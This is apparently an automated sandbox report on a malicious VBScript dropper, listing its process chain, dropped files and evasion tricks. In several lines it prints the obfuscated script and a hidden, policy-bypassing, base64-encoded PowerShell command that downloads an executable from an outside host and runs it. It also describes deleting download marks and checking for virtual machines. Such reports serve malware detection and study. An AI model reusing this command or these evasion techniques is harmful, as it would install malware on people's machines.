Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Unpacked PE file: 12.2.oBuf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\tesubba	Unpacked PE file: 15.2.tesubba.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:EW;

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: createobject("sh"& e &"ll.application")execute("pow = ""pow""& e &""rsh""& e &""ll""")sh.ShellExecute "cmD."& e &"x"& e, "/c "& pow &" -nop -w hidd"& e &"n -"& e &"p bypass -"& e &"nc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=", "", "op"& e &"n", 0'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvihervuheirhviheruhvieuviuehrviherhvierhfherihvirehvhrve'jojfojweoijfowefwefoijweofijwoeijfowejfoiwejfoijweoifjweojfoiwejfoweoifjowiejfowiejfojwefjwoeijfiowejfiojweoijfoiewjfoijwoejfwefj'joifjiorjfoiwejfoweijfohirbgfvinfvunevuireiuveuirhviurheiurvhiherihveiurhvi

PowerShell case anomaly found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAACBC42FE pushad ; ret	4_2_00007FFAACBC42FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAACBC00BD pushad ; iretd	4_2_00007FFAACBC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAACBC42F0 pushad ; ret	4_2_00007FFAACBC42FD
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_0040237B push 000023C2h; retn 0023h	12_2_0040238B
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_004025DC push ebp; ret	12_2_004025FC
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_00401284 pushad ; iretd	12_2_00401286
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_006A2643 push ebp; ret	12_2_006A2663
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_006A12EB pushad ; iretd	12_2_006A12ED
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_006A23E2 push 000023C2h; retn 0023h	12_2_006A23F2
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008DE70C push eax; retf	12_2_008DE70D
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008E2224 pushad ; iretd	12_2_008E2226
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008E3D49 push es; retf	12_2_008E3D60
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008E8A5C push esp; ret	12_2_008E8A5D
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Code function: 12_2_008E5479 push ebx; ret	12_2_008E547C
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_0040237B push 000023C2h; retn 0023h	15_2_0040238B
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_004025DC push ebp; ret	15_2_004025FC
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_00401284 pushad ; iretd	15_2_00401286
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005A2643 push ebp; ret	15_2_005A2663
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005A12EB pushad ; iretd	15_2_005A12ED
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005A23E2 push 000023C2h; retn 0023h	15_2_005A23F2
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005CD84E push eax; retf	15_2_005CD85D
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005D7A1C push esp; ret	15_2_005D7A1D
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005D2D09 push es; retf	15_2_005D2D20
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005D4439 push ebx; ret	15_2_005D443C
Source: C:\Users\user\AppData\Roaming\tesubba	Code function: 15_2_005D11E4 pushad ; iretd	15_2_005D11E6

Source: oBuf.exe.4.dr	Static PE information: section name: .text entropy: 7.486630625699931
Source: tesubba.14.dr	Static PE information: section name: .text entropy: 7.486630625699931

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\oBuf.exe			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\tesubba			Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tesubba

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\tesubba:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
